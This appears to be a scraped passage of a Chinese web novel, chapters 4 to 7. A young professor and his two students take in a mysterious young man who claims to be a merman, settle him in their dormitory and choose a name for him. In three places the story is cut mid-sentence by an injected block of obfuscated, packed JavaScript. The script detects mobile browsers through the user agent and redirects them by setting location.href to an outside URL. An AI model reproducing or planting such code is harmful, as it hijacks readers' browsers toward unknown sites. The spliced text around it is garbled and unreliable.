常雨霖:“弟弟,你没见过收音机吗?” 小人鱼点头,指指喇叭口,“它的名字叫‘收音机’吗?” 常雨霖点头,“嗯。” 石巍指点,“那个旋钮可以调频,你可以挑喜欢的频道听。” 常雨霖轻打石巍一下,“你说这么复杂他听得懂吗?” 石巍:“我这么说还复杂啊?” 石巍说话粗心,但刚才说话时也下意识指过旋钮的位置。 小人鱼虽然听得一知半解,至少也理解了可以转动那个带刻度的钮。 于是,像小动物试探着探索陌生环境,小人鱼用手指戳了下那个旋钮,确定没有威胁,才试着捏住,一刻度一刻度地转。 黑白液晶屏的数字从86.0,以0.1每下的速度,愣是调到88.3,才有新的声音传出来。 这回,电台主持人是个女声。 小人鱼吓一跳,惊讶回头,“它变成女孩子了!” 常雨霖被逗笑,“对。现在是女孩子在说话。” “她也叫‘收音机’吗?” “啊?” 小人鱼转回来,若有所思,对喇叭口点头致意,“你好,收音机夫人。” “噗哈哈哈哈哈哈!” “嘻嘻嘻哈哈哈……” 俩学生闻言爆笑出声。 被关路远在头顶后视镜盯了一眼,才逐渐消停。 “弟弟你以为是收音机在说话吗?”常雨霖又搭话。 小人鱼眨巴眼,“难道不是吗?” “嗯……说是也是,说不是也不是。”常雨霖思忖片刻,想想解释无线电波传递的原理,小人鱼大概率也听不懂,干脆直接给结论,“总之,这里面是人声。收音机只是个机器。” “机器……人声……”小人鱼蹙眉,又看向收音机,眼神复杂起来,“那……她们被关进去,是因为犯了什么错吗?” “噗哈哈哈哈哈哈!” “嘻嘻嘻哈哈哈……” 这回,俩学生笑声太吵,被关教授瞪了一眼。 这一眼的警告效果很好,直到车停,俩学生都只敢憋笑,再没开口过。 * 接待关教授的是派出所所长。 老所长端着红花绿叶白底搪瓷杯,呸呸吐着茶叶沫子,将教授迎进门—— “是什么风把咱们滨镇最有名的青年才俊吹来啦?” 俩学生乐见教授被揶揄,缩在人背后对视偷笑。 老所长视线一降,落到教授怀里细皮嫩肉的美人脸上,又笑道: “难怪那么多人想给你介绍相亲你都不去,原来早就心有所属啦?” 俩学生“噗嗤”,差点没憋住。 关路远启唇,正要说话,老所长就凑到小人鱼跟前细细打量,“哦哟”一声关心道: “你媳妇大冬天穿这么单薄?追求时尚也不能这么极端呀!” “噗哈哈……” “咔咔咔……” 关路远回头。 俩学生老实了。 在接待室,关教授言简意赅复述了捡到这自称人鱼的“男”青年的全过程。 并特地在“男”青年的性别上压了重音。 所长也才听明白是怎么回事,乐呵呵自言自语“我说小姑娘怎么这么瘦呢”,一边叫民政系统的干事帮忙查资料。 滨镇是个僻静落后的小地方,在千禧这个万物蓬勃发展的年代,公安系统依旧还没引入计算机,还在使用相对保守的纸质资料库。 干事要翻找全镇居民的资料比对这个陌生青年,调用近半年的失踪人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205090|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口报告,再电联别处派出所询问线索。 这耗时可就不是一点半点了。 老所长习惯了这种办公条件,但也知道关教授带来滨镇的不仅有一整队人才,还有国内顶级机密的新科技,就借等待的时间,拉着关教授闲聊。 关路远负责的项目和手握的技术保密等级都很高,能聊的也不多,所长明事理也不会强求,公事不能问,那就问私事。 一旦涉及私事,关路远就更懒得聊了。 作为国内考古系教授队伍中年纪最轻的成员,关路远工作几年,至今依旧没超过30岁。 不仅专业水平堪称奇才,样貌身材也皆是一绝,哪怕性格孤僻了点,也挡不住许多人对他产生好奇。 问公事,关路远还能动点脑筋周旋,问私事,他连敷衍都懒得敷衍。人家问他你喜欢什么类型的姑娘,他回答嗯对,四乘九等于三十六。 已读乱回的聊天显然不能长久。 宁静和平的小镇养出所长包容稳定的性格,老人家笑着继续抿一口搪瓷杯的茶水,呸呸吐着茶沫,从小间的窗口看出去,望向开阔的碧海蓝天,说: “教授大城市过来的,虽然考察去过不少村庄,但未必见识过我们这里一样的民风。” “嗯。” “这里很好,很慢。”所长眯着眼笑,“教授被调来这里,接下来还要生活几年,说不定也会养出点圆润的脾性呢?” 关路远轻哼一声,像是短促的笑,嘴角勾着浅浅的弧度,“那我就期待一下了。” 两个“大人”没话聊了,目光不知不觉就转到了屋中闹在一起的三个“孩子”身上。 常雨霖和石巍刚说要买东西,出去了一趟,等回来,一个手里拎着药,一个怀里揣着零食。 于是,被放在小板凳上安静坐着的小人鱼,膝盖上就贴了水蓝色的膏药,手中握了根糖衣油亮的冰糖葫芦。 两个自诩“哥哥姐姐”的小年轻蹲在小人鱼跟前,笑着耐心地解释那糖葫芦要怎么吃。 小人鱼听完,“哦”地圈着嘴巴应一声,然后张嘴把一颗山楂咬下来,整颗含进嘴巴里。 山楂有点大,小人鱼口腔又小,果子一进口,嘴就被塞满了,压根没有多余的空间容他咀嚼。 小人鱼只能把山楂顶到口腔边。 然后腮帮子就鼓起一大块。 像贪吃的小仓鼠。 逗得常雨霖和石巍又咯咯笑起来,伸手哄小人鱼把山楂吐到掌心。 常雨霖和石巍都是本科生,因家乡开辟出墓群的机缘,近水楼台破格进了关教授的科考队,也就成了教授研究生学子中最年轻的两位。 俩孩子专业方面领悟里不错,而年纪小导致为人处事方面有待进步,也确实是事实。 大概是平日习惯了当师哥师姐们的小跟班,此时难得可以在小人鱼弟弟面前当哥哥姐姐,俩孩子兴致都很高。 这一幕画面很和谐。 让旁观者心情不自觉就好起来。 老所长心情好,会点头赞许地笑。 而关阎王心情好,就会走过去,站在俩个学生身后,等俩孩子抬头看向塔一样高的男人时,再悠悠开口: “没有研究表明,人鱼这物种,吃糖葫芦不会死。” 常雨霖:“……” 石巍:“……” 于是劝小人鱼把山楂吐出来的俩学生,动作更加手忙脚乱了。 5. 第 5 章 接近傍晚时分,干事一脸紧张来找老所长汇报。 滨镇是个安逸的小地方,平日最严重的案件就是哪家夫妻吵架,让派出所去调停。再大一点的就没有了,连偷窃案都几乎没发生过。 难得见干事露出这种表情,老所长察觉事情不对,神情沉下去。 二人回避到一旁,简单说过几句话,老所长点头,若有所思,回到关路远身边。 “教授啊,你捡到的这个人,怕是不简单。”老所长意味深长。 “有线索了?”关路远问。 老所长摇头,“没线索,就是最大的线索。” “……” “别怨我手下办事不力。自从这附近发现遗址,我们滨镇的政治地位高了不少,一点风吹草动,上级都重视得很。所以,你捡的这孩子,我们本来按失踪人口处理,将他的外貌特征层层上报……” “嗯。” “你知道的,咱这办事是要走流程的,程序不能落。层层上报的过程中,却突然被别的机构截胡了……这截胡的机构讳莫如深,只说后续会调人来处理,要求我们现在先对此事保密。对方没说自己是什么机构,也没说到底来处理什么。而这机构偏偏有权力截胡我们机关的沟通,且后续无人问责。你说……这样算不算线索?” 关路远听明白了。 越远离制度核心的平民,所见的世界越纯粹简单。 而越靠近核心的,则越容易发现,隐藏在寻常世界之下的秘密。 关路远科考的这些年,隐约察觉过,制度体系中,是否有一条独立且神秘通道,不为众人所知。 他工作过程中成就越多,权力越多,接近过的核心机构越多,也就越能感觉到这条神秘通路的存在。 关路远印象很深刻,他刚工作时,曾有人声称发现人鱼遗骸,那具尸骨刚交由他所在的部门处理,还不待他亲眼看看那尸骸究竟长什么样,是不是拼接而成…… 部门领导就告诉他,尸骸上交了。 上交到哪去了,不能说。 这件事后来也就不了了之。 就像一只无形的大手,掩在他眼前,不让他看清人类平静世界表面下,隐藏的秘密。 如今,这个秘密似乎又出现了。 老所长到了这个年纪,处在这个位置,不该问的事当然会假装没听到,不再过问。 而关路远一直以科学家自居,对世界保持探索的好奇,是职业基本的素养。 眼下,那个神秘机构再度出现,试图介入,确实坐实了海边捡来的青年身份不简单。 “总之呀,我所里就这么丁点大位置,联系不到那孩子家人,总不能让他在这儿睡板凳吧?”老所长说,“既然他自称人鱼,而教授你又刚好是研究人鱼的。在上头派人来处理之前,这孩子还不如寄养在你那儿,给你研究研究?” “……” 怎么话说得像是研究小白鼠一样轻巧。 “我是研究古遗址和文物的,不研究生物。”关路远纠正。 “你们那儿有国家批的一整栋宿舍楼,分一间给这孩子住两天,也总比让他在这儿睡好吧?再者说了,你是教授,知识这玩意一通百通,你总不能对生物一窍不通吧?万一那孩子真是人鱼,放我这儿养死了怎么办?” 曾把仙人掌养死的关路远并不反驳。 “就算你真不会养,你们那海洋研究基地里,还能连个生物学专家都没有?” “……” 老所长意思已经很明朗了,恰好关路远也对小青年的身份产生好奇,便顺水推舟答应了。 得知教授决定要先将小人鱼带回家,短暂相处培养出感情的常雨霖和石巍鼓掌欢呼。 ……像极了得知爸妈同意养小宠物的小孩。 * 常雨霖和石巍吃完晚饭,相约上楼去找关教授看小人鱼。 关教授拥有这栋小型环状筒楼第三层顶层的完整居住权,还空了些房间。 剩下两层的房间分给他们这些学生,几乎占满。 小人鱼自然只能先养在教授的那一层。 关路远带队的这支科考队,除了正式人员,还有实习人员。追随他来的学生不在少数,成分这两类皆有。 只有正式工作人员才能入住海洋研究基地内配套的住宿区,实习学生只能食宿自负。 关路远自掏腰包出了大部分钱,剩余的小部分走公费申请,名义上向国家批了一栋宿舍楼,提供给跟他来的这些学生。 算是暗地里帮这些学生减轻了生存负担,可以让他们把精力更多投入科研和学习上。 当然,这件事,学生们多数并不知情。 毕竟关路远不愿因为这件事沾染人情债,使本来纯粹的师生关系变得复杂。 关路远在外面找了间小餐馆解决了温饱问题,散步往宿舍走。 等他回到三层,就看到常雨霖和石巍两人,鬼鬼祟祟扒在小客厅的彩花玻璃上,往里面偷窥。 关路远走到两人身后,开口: “早上偷看电视时没见你们这么小心。” “啊!” “呜哇!” 俩学生吓得原地起跳。 看清来人是教授,俩人才舒气拍胸安抚心跳,随后好奇地问: “教授,你怎么一个人?小鱼呢?” “教授你从哪儿回来的?” “小鱼……”关路远重复了下这个昵称,冷冰冰道,“应该提醒过你们,不要给‘实验对象’起这种带感情色彩的名字,而该尽量使用字母数字组合的编号。除非你们有反社会人格。” 就像一般人得知自己养的宠物兔兔宠物鸭鸭被端上餐桌当晚饭会崩溃一样。 取名“奶糖”啊“甜甜”之类的可爱昵称的小白鼠,死在自己的实验台上,对任何一个人性尚未的学者,都会带来情感伤害。 常雨霖当然懂得这个道理,还是忍不住嘟哝:“什么‘实验对象’,说得好像之后小鱼会被解剖一样。” 关路远残酷道:“如果他真是人鱼,那就说不定了。” 听得两个学生瞪大双眼,倒抽一口气。 关路远没搭理两人,掏钥匙开了小客厅门的锁。 俩学生紧跟着进去,便跟着边追问“教授你一定是开玩笑的吧”,“教授你怎么忍心对那么好看的孩子下那样的手”! 关路远没回答这些问题,反而回答了俩学生最初问的: “我刚才去吃饭了。他说不吃,想玩水,现在在浴缸里。” 石巍一听,不知联想到什么,被萌得“嗷”一声,“果然是小鱼,爱玩水什么的,真可爱啊!我们能找他玩吗?” “他在洗澡,没穿衣服。你想玩什么?”关路远反问。 “呃……对不起。”石巍秒怂。 倒是常雨霖隐约察觉不对劲,“所以,小鱼没吃晚饭,还一直单独待在水里?” 闻言,没有照顾他人同居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205091|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验的黄金单身汉,本平静的表情黯了一瞬。 空腹。 泡澡。 自关路远出门起,至少过去了一个小时。 见教授表情不对,石巍也反应过来: “小鱼在哪里?怎么没声音?不会晕过去了吧!” 关路远二话不说,迈开长腿,出门走完长廊,打开了主卧的房门。 这一层目前只有他自己卧室的盥洗室装了浴缸,小人鱼说想进水里,当然只能先待在他卧室里。 俩学生不敢擅进老师房间,只能在门外焦急地等。 关路远利落进屋,刚走到浴室门口,就见浴缸水面平静,并无人影。 他又走近几步,才看清,水面底下,倒扣着一个人。 白而纤柔的身体。 一动不动。 还能是谁? 关路远瞳孔略微放大,当即撸起袖子,蹲在浴缸边要把人捞起来。 结果手指刚触到小人鱼背部的皮肤,水底静止的“尸体”猛地一弹,躬身掀起来。 哗啦啦—— 小人鱼坐起来,掀起的水花似流光瀑布,降落在美丽生灵的身边。 一如梦幻的童话。 四溅的水花亦劈头盖脸砸了关教授一头一脸。 一如写实的笑话。 头发湿漉漉的小人鱼光着身体,懵懂地看向浴缸外的人。 头发也湿漉漉的关教授毛衣吸水后重得要命,他一脸沉默地盯着浴缸里的人。 对视而无言。 还是小人鱼主动,往浴缸边缘游,用手拍了拍空出的位置,说: “你要进来吗?” 关教授:谢邀。大可不必。 “洗太久了。出来。”关路远起身,命令。 “哦……”小人鱼也听话,手臂撑着浴缸边缘,就要站起来。 要知道,这人可是没穿衣服的。 关教授没有看一个男人在自己面前遛鸟的癖好,当即要制止。 结果两人又都忘了小人鱼不会走路的设定。 扑腾一声,小人鱼又摔回水里。 小人鱼仰头:“……” 关路远低头:“……” 水花又稀稀拉拉地坠落。 小人鱼的手还搭在浴缸边,皮肤柔软平滑,水珠几乎停不住,待不了多久就滚落回水里。 关路远瞥了眼小青年的手臂皮肤,没发现被水泡白泡皱的痕迹,视线往深看,从人的锁骨处扫了一圈,也没看到水皱现象。 又是一个和常人不同的细节。 视线不受控往下飘了一瞬,余光瞥见水底一晃而过的粉色。 关路远当即起身,取了条大浴巾回来。 用大浴巾把“鱼”从肩头裹了个严严实实,他才把他从水里捞出来,抱走—— 看来,教会小人鱼习惯穿衣的羞耻观,和独立用双腿行走,这两件事都刻不容缓。 门外等了半天也没等到教授出来,石巍差点都要怀疑教授是当场把鱼剖完烧烤了。 随即,两人就看见关路远面无表情又习以为常地抱着被白浴巾兜得严严实实的小人鱼出来,丢了句“还活着”,就走进了另一个房间。 石巍松一口气,又警惕,“不过,教授刚才说,可能会解剖小鱼,到底是不是开玩笑啊!” “哎呀,笨!”常雨霖戳石巍脑门,“要是教授真有那么残忍,刚才得知小鱼可能会晕倒,何必那么紧张?” 6. 第 6 章 两个学生得到允许进入关路远给小人鱼准备的新房间时,小人鱼已经换好了衣服。 一直割学生韭菜不太合适,关路远这回没找石巍要第二套干净衣物,而是翻出了自己的夏衣。 关路远比石巍高大些,石巍又比小人鱼高大些。 这套娃效果一叠,关教授的白衬衫套到小人鱼身上,愣是穿出种“男友衬衫”的效果。 于是,坐在床上的小人鱼韧带柔软,双腿分曲在身体两侧,呈现日漫少女经典的“鸭子坐”姿势。 上身的白衬衫松松垮垮的,最顶头的扣子没系,领口半挂不挂地搭在肩头,湿漉漉的黑发往肩头嫩滑的皮肤上淌着水。 衬衣末端刚好盖住屁股和大腿根,呼吸动作间禁区的皮肤若隐若现。 “吁~” 引得刚进门的石巍目瞪口呆,引得沉溺男色的常雨霖忍不住吹了个流氓口哨。 关教授在二人进屋时就离开了。 常雨霖和石巍赶忙凑到小人鱼跟前,一人在床上,俩人坐床下,小声说起话: 常雨霖:“没想到教授还挺……色。居然没让你穿裤子。” 小人鱼听着就要撩衬衫底,“我穿了……” 被石巍眼疾手快摁住了。 但一闪而过的颜色,还是让石巍辨认出,小人鱼只穿了自己备用的新内裤,他问:“外裤呢?” “外裤……”小人鱼看向床角的大裤头,“你是说那个吗?” 石巍捞过来,“怎么不穿?” 小人鱼说:“太大了。我一动就掉,我不想穿,就脱掉了。” “可以理解。”常雨霖点头,“教授和你的体型差,让你穿他裤子不掉,确实有点为难。” “教授……”小人鱼念一遍,问,“他的名字,是‘教授’吗?” “噗嗤。不是哦!”常雨霖解释,“教授是他的职称……你的世界里有‘老师’的概念吗?有?那就好解释了!你可以理解为他是究极无敌厉害的那种老师!” “那他的名字是什么?” “他叫‘关路远’。”石巍显摆,“‘关山路远重须去,一径长途君任通’的‘关路远’!” 常雨霖白石巍一眼,“你背古诗他听得懂吗?” 石巍恍惚,看小人鱼,“对哦!你听得懂吗?” 小人鱼摇头。 然后石巍就顺理成章挨了常雨霖的揍。 “你们两个的名字呢?”小人鱼又顺势问。 “对哦!都忘了,我们还没自我介绍呢!我叫常雨霖!” “就是词牌名‘雨霖铃’的前两个字。” “他听不懂。” “哦。然后我叫石巍。‘巍’是‘北上太行山,艰哉何巍巍’的……” “都说了他听不懂啦!” 石巍就又不轻不重挨了下常雨霖的揍。 “你的名字叫什么呢?”常雨霖问。 小人鱼并不隐瞒,主动又报了遍海边说过的那个名字。 于是,曾出现在关路远身上的不适混响反应,便再度出现在常雨霖和石巍身上。 “果然……海边那下不是错觉。”石巍晃脑袋,“我们总不能每次叫他名字都难受吧?” “不知为什么,我们好像不能听你的名字。”常雨霖提议,“所以,我们可以先叫你‘小鱼’吗?” “好。”小人鱼随和,也不挑,乐呵答应了。 “好乖呀!”常雨霖好想揉揉他的脑袋,出于礼节还是忍住了,取而代之揉了下石巍的脑袋。 石巍:“?” 一脸懵,但不敢反抗。 小人鱼好奇地打量着两人的互动,弯着眼睛笑起来,“你们关系很好。” “你也可以跟我们关系很好哦!”常雨霖趴在床边,缩短了距离,“你想和我们交朋友吗?话说你能听懂‘交朋友’吗?” “能听懂。” “好!那我们从现在起,就是好朋友了!” 小人鱼认真点头。 常雨霖当即转身和石巍示意击掌,骗得男生抬起双臂,乘人不备一个灵活地转手…… 又摸人脑袋揉了个爽。 收手后,常雨霖笑盈盈地看向小人鱼。 而小人鱼则左看看常雨霖,右看看石巍。 表情一脸郑重。 正当常雨霖意识到小人鱼表情不对,准备问他怎么了…… 就见人家小心翼翼躬下身,把脑袋凑了过来。 “嗯?”常雨霖懵了。 小人鱼就着这个躬身的姿势,微微抬头。 本就清澈的眼神因低顺的角度,上目线更显单纯。 他说:“你不用摸我头吗?” “啊?”常雨霖先是受宠若惊,随后便顺水推舟将手轻搭在小人鱼头上。 二人还不相熟,精致的小人鱼看起来又没身边的石巍那么耐造,常雨霖不敢用力,手掌几乎只是虚虚悬在小人鱼头顶,只有手指似有若无地触及发丝。 软软的,滑滑的。 手感很好。 “多谢款待。”常雨霖心满意足收回手,问,“不过,你为什么突然让我摸头?” “啊?”这下轮到小人鱼懵了,“这不是好朋友之间的仪式吗?” 常雨霖和石巍对视一眼。 两人恍然大悟,小人鱼这是错将二人刚才打闹的行为,误解为类似猫猫互相舔毛的常见亲近行为了。 于是,石巍捧腹笑着解释:“我们人类没有好朋友之间必须摸头的习性啦!” 而被小人鱼又被萌了一脸的常雨霖,趁乱又狠狠折磨了一把石巍的脑袋。 三人继续闲聊。 孩子们都是真诚的人,加之对彼此“种族”的好奇,交流得很积极,什么都聊。 从喜欢的颜色,聊到讨厌的动物。 建立一段关系最好的方法,除去找到共同的喜好,还可以找到共同的“敌人”。 聊着聊着,他们几乎不可避免地,再次聊到了那个不在现场、但存在感极高的男人—— 关路远。 “你会怕教授吗?”石巍把下巴抵在床边,问。 小人鱼回忆了一下,只说:“他和你们两个不一样。” “怎么不一样?” “……我不知道怎么说。”小人鱼为难道,“他好像很凶,但又不是真的‘凶’。” “嘿嘿。小鱼虽然对人类的情报很有限,但很敏锐呢!”常雨霖说,“确实,教授有点不近人情……嗯,就是不讲人情世故……呃……总之就是你所说的‘凶又不完全凶’。” “你们问我怕不怕……”小人鱼反问,“是因为,你们怕他?” 俩学生又对视一眼。 眼神复杂,几乎无声交流了一篇论文。 “我们人类的情感有点复杂。比起说是害怕教授,不如说,是敬畏。” 常雨霖认真解释: “教授在专业领域的成就和实力,足以匹配我们对他的敬重,也让我们宁愿克服内心的恐惧,也要追随他学习。” “嗯!不仅仅是我们,”石巍附和,“哪怕关教授‘阎王’恶名在外,也架不住诸多准研究生前赴后继往教授麾下报名!” “注意用词。” “哦哦!我又说得太难理解了。”石巍看小人鱼,“你听懂了吗?” “……”小人鱼歪头。 俩学生看明白了,这就是没懂的意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205092|150904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 石巍当即腾腾腾跑出房间,过了会儿又腾腾腾跑回来,手中攥着一份报纸。 男生兴奋地将报纸展开,指着上面刊着一颗巨大的黑钻石,讲解道: “这是伽耶石。是教授1989年在罗布泊峡谷科考时,发现的碳质球粒陨石。这种物质来自外星,可以说是外星的宝石哦!教授不仅发现了这个物质,甚至还探出了一条矿脉!你知道这个石头有多贵吗?” 小人鱼摇头。 “最大的一颗33.3克的,被拍卖出近十亿美元的价格!而发现这一切的教授,当时甚至只有十几岁!没成年!” 小人鱼还是没太明白。 “你用美金衡量价值他怎么听得懂啦!”常雨霖接过解释的任务,“总之,这只是一种外星物质,说白了只是一种石头,对人类而言就有如此巨大的价值。 “而这次教授即将深入考察的,是一个失落的古国,是一个全新的文明,或许会有新的矿物,会有新的瓷器和衣料,甚至新的语言和科技! “难以想象,这对我们而言,会是多大的成就,对人类而言,会有多大的价值!” 说起这番话时,一向温柔细致的女孩,眼里亮着坚定且期待的光芒。 小人鱼依旧对人类的感情一知半解。 但面前两位学生此时的表情,足够让小人鱼感受到,教授,以及教授正在做的事情,对二人、乃至全人类,十分重要。 “天才总会有这样那样常人不理解的性格怪癖,教授也是。” 石巍也补充: “还记得早先,‘师祖’……哦,也就是教授的教授。师祖把自己孙女介绍来教授办公室,明面上是聊工作,其实就是相亲。 “意识到这一点后,教授就干脆把人美女晾在旁边,抱着陨石研究了一整天!人家美女也得出结论了,关路远对石头都比对人温柔!” “石巍,你不要命了,这你都敢说!万一被教授听到了……” “我们毕竟是普通人嘛,没有关教授那样‘为科学奉献一生’的格局。所以虽然我们当面尊重他,背后偷偷说他坏话,不是很正常吗!你不也干了?” “嘘!那至少别当着小鱼的面说,会教坏小孩的!” “我是在教小鱼求生之道好嘛!所以小鱼,你想说他坏话发泄情绪,这非常合理,只要小心千万别被他听见……” “听见什么?” 四个字沉得像是坚而稳的陨石。 砸得石巍脑袋嗡一声响,原地起跳立正鞠躬—— “关教授!对不起!” 关路远不知什么时候进的屋,也不知把学生们的话听去了多少,表情依旧镇定无波。 但心虚的常雨霖也还是乖乖站直,和石巍肩并肩,像被班主任罚站的小学生。 “去客厅等着。”关路远一扬下巴,“准备开会。” 开会二字,被说出像是“批斗会”的气势。 石巍发出小兽绝望的呜咽,随着常雨霖离开了这间房。 关路远随着就要走出去,想起什么,回头看了眼床上的人。 小青年依旧维持着跪坐的姿势,表情清纯懵懂。 漂亮的眼睛直直盯着高大的男人。 关路远微蹙眉头,很轻的一下,转瞬即逝。 “你认床么?”他问。 小人鱼似懂非懂,还是摇了摇头。 “怕黑吗?” 又摇头。 “也是,海底应该更黑。那睡吧。” 关路远走到门边,手指点上墙面开关,熄灯前,又补充一句,“我卧室在你隔壁。晚上有事叫我。” “嗯。” 软乎乎的回应,飘散在渐灭的室光里。 7. 第 7 章 关路远来到客厅时,伏案狂书的石巍弹起来,颤颤巍巍向教授递上一份检讨书。 关教授面无表情接过来一看,第一句赫然是: “我错了,我不该背后编排教授……” 后面关路远也懒得看。 反正多数是些“我错了下次还敢”的没用保证。 让两个学生坐在桌对面,关路远坐在另一侧,开口: “还有什么想说的么?” 石巍当即背起检讨书,“我检讨!尊师重道是为学者应当具备的基本素养……” 一旁的常雨霖观察到关路远眸色暗下去,忙肘击怼一下石巍,提醒:“教授问的是‘还有什么’,你这part已经翻篇了!” “哦哦!”石巍没料到关教授对“被学生背后编排”这件事如此轻描淡写,还懵着,“那还有什么?” “笨!”常雨霖白他一眼,忙问关教授,“教授是想让我们说说今天观察小鱼……呃,观察那位自称人鱼的青年,得到的结论吗?” 石巍当即回神。 确实,今天对师生三人而言最重要的事件,就是发现了这名自称人鱼的青年。 要说小青年所言非虚,可其外貌和语言特征,又基本与人类无异。 可要说小青年是在撒谎,其又表现出太多异于常人的性状。 “嗯。” 关路远应了一声,算是对常雨霖的肯定。 教授将手臂撑在桌面,双手交叠,浅掩着嘴唇,遮蔽了大部分表情。 虽说一直都喜怒不形于色,这样的姿势依旧很有压迫感。 架在鼻梁上的金丝框眼镜的镜片在顶灯下反光,衬得整个人更加神秘难懂。 两个学生不由得紧张起来,赶忙交代今天观察到的细节—— “假设小鱼所言非虚,他真的是人鱼……”常雨霖率先道,“那也应该是一条刚变成人的人鱼。” “我也有这种感觉!”石巍跟上,“他好像还不习惯自己‘人类’的新身份!” “嗯。”关路远又应一声,鼓励学生说下去。 “我们在海边问他家人的时候,他习惯性往海的方向看了一眼,似乎潜意识知道应该在那里。可转回来时他却回答‘不知道’,看上去也不像说谎。就好像……本能知道家人应该在水里,可细想却发现自己什么都忘记了一样。” “还有还有,智商正常的成年人都不会撒一戳就破的谎,哪怕被识破了,也会表现出羞耻感。但小鱼却没有!他坚信自己是人鱼,甚至在看到自己的人腿时,自己都被吓了一跳!” “对!他说他不会用人的腿走路,之后这一点也一直没露出过破绽。更有甚者,他自己都忘了自己现在的是人腿,所以教授让跟着走,他第一反应真就是跟着走。因为他还以为自己有鱼尾巴,还以为自己是可以正常活动的!” 学生们你一言我一语地交流着观察人鱼青年所得的细节。 关路远在一旁静静听着,表情依旧没有任何变化。 这些细节,他都观察到了。 不仅如此,还有奇异的瞳色,皮肤泡水不起皱的现象等,都让关路远在意。 但这些都仍然可以解释为人类庞大群体中的特殊个例。 让他一直难以质疑人鱼身份的,只有一个关键的原因—— “你们还记得他的名字吗?”关路远突然问。 两个学生当即静下来,石巍先呆呆开口: “小鱼……” “教授问的是在海边听到的真名!” 被常雨霖迅速打断。 “哦哦!我……”石巍张开嘴,想试图复述记忆里人鱼说过的发音,可蓄势待发的表情,即刻转为疑惑,“咦?我记性还不错啊?怎么现在一点都想不起来。” 常雨霖也察觉,“对啊!我们甚至听过两遍!小鱼在房间里又跟我们说过一遍的!但现在,我怎么也想不起来了……” “Layne Sheaden。” “啊?” “啊?” 低沉的嗓音复述一段近似英语的发音,关路远阖唇,片刻又启,“这段音节,你们有印象吗?” 常雨霖和石巍对视一眼,诚实摇头。 “是他自称的名字。” 哪怕听到教授的答案,常雨霖和石巍又对视一眼,还是一脸茫然—— “好像听过,又好像没听过。” “这是小鱼说过的名字?为什么只有教授记得?” “我记得两次听到小鱼说名字,都会产生一种奇怪的幻觉。” “但教授现在说名字,我听着就没事。” “教授听到的时候没有幻觉吗?” 关路远点头,示意也有。 “教授被影响了,却依旧能记住小鱼说过的名字!”常雨霖惊呼。 “这就是神级的魔抗吗!”石巍感叹。 俩学生又咋咋呼呼唠起关路远听不懂的嗑。 关路远没打断,只心头默默得出结论—— 人类群体中,一个种族被另一个种族的语言干扰产生幻觉,甚至出现信息丢失的情况…… 简直闻所未闻。 因而,那名青年并非人类的可能性,极其高。 “这么看来,给他起个‘小鱼’的昵称,还算是个明智的决定呢!”石巍说。 “对啊!”常雨霖附和,“不然小鱼每次自我介绍,要么是真名让人头晕,要么是类似‘RY-2000’的代号,也太奇怪了吧?” “自称‘小鱼’,登记的时候,就不奇怪了?”关路远轻轻提醒。 俩学生对看一眼,恍然大悟—— 有的家长带小孩出门参加活动,登记时,会下意识说出孩子的奶名。 登记人员一般会笑着夸夸这个名字可爱,再问孩子的大名是什么。 代入到这种情况,听到奶名是“小鱼”,可定睛一看,对应的孩子个头居然那么大…… 很怪。 而再问这“大小孩”的大名是什么,回应是“没有”或“编号RY-2000”或“听了你会头晕”之类的回答…… 那就更怪了。 不管那青年之前是否是人鱼,如今要以人类的身份融入社会,没有一个像样的大名,必然会导致诸多不便。 “那怎么办?”常雨霖皱眉,“难道见一个人就要跟人家解释小鱼可能是人鱼?这种身份不论是真是假,都得保密吧?否则走到哪里都要引起骚动了!” “既然这样,不如给小鱼起个大名吧!”石巍提议。 俩学生对视一眼,默契转头,目光炯炯地齐齐盯着关路远。 个中含义不言而喻—— 在场地位最高、收入最高、文化水平最高,最有资格给小人鱼起大名的…… 还能是谁? 在学生们的注视下,关路远并不推脱,利落地取来笔墨,将白纸在桌面铺展。 沾了墨光的笔头在纸面曲折,铁画银钩的笔划落下—— Layne Sheaden。 念、西、登。 以音译的方式,选取了几个相对中性柔和的汉字。 匹配小人鱼给人的第一印象。 俩学生凑过来,一个夸教授字好看,一个夸教授选字选得好。 等教授问二人这个名字怎么样,石巍随口说了句: “就是感觉有点缺水。毕竟小人鱼那么喜欢水。” “啧!你在教授面前搞什么五行迷信!”常雨霖揍他。 两人小小打闹起来。 缺水。 学生无意的吐槽,突然在关路远眼前展开一个画面。 是与那小青年在海边的初见—— 肤色白皙的青年赤着身子,身披渔布却不减纯净。 一双眼睛闪着世间最耀眼纯澈的光泽。 背后是大海映着鳞光的波面。 被阳光与青年衬托得干净。 澄清。 关路远想到了这个词。 